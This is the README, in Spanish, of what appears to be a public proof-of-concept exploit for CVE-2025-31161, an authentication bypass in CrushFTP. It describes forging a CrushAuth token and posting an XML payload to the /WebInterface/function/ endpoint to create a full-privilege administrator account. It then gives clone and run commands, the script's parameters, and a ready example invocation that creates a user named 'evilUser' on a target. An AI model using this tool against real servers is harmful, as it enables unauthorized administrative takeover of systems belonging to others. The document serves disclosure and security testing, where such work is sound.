CVE-2025-31161 - Exploit de Omisión de Autenticación en CrushFTP

PoC CVE-2025-31161 - Omisión de Autenticación en CrushFTP

📌 Detalles de CVE

• ID: CVE-2025-31161
• Tipo: Omisión de Autenticación
• Proveedor: CrushFTP
• Impacto: Permite a atacantes no autenticados forjar un token CrushAuth válido y crear un usuario administrador con privilegios completos.
• Más información: Entrada NVD (cuando esté disponible)

⚙️ Descripción

Este exploit apunta a una vulnerabilidad crítica en CrushFTP, que permite a atacantes remotos no autenticados omitir la autenticación y crear usuarios administradores arbitrarios.

Funciona creando un token CrushAuth de apariencia válida y abusando del endpoint /WebInterface/function/ para enviar un payload XML completo.

🚀 Uso

🔧 Requisitos

• curl
• shuf

Instalación

git clone https://github.com/f4dee-backup/CVE-2025-31161

cd CVE-2025-31161

chmod +x CVE-2025-31161.sh

Panel de ayuda:

./CVE-2025-31161.sh --help

[?] Parameters description:

	--url            Target base URL (e.g., http://target)
	--port           Port where CrushFTP is running
	--target-user    Valid or invalid username (e.g., crushadmin)
	--new-user       Username to be created (e.g., Pwn3d)
	--new-password   Password for the new user
	--help           Show this help panel

[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345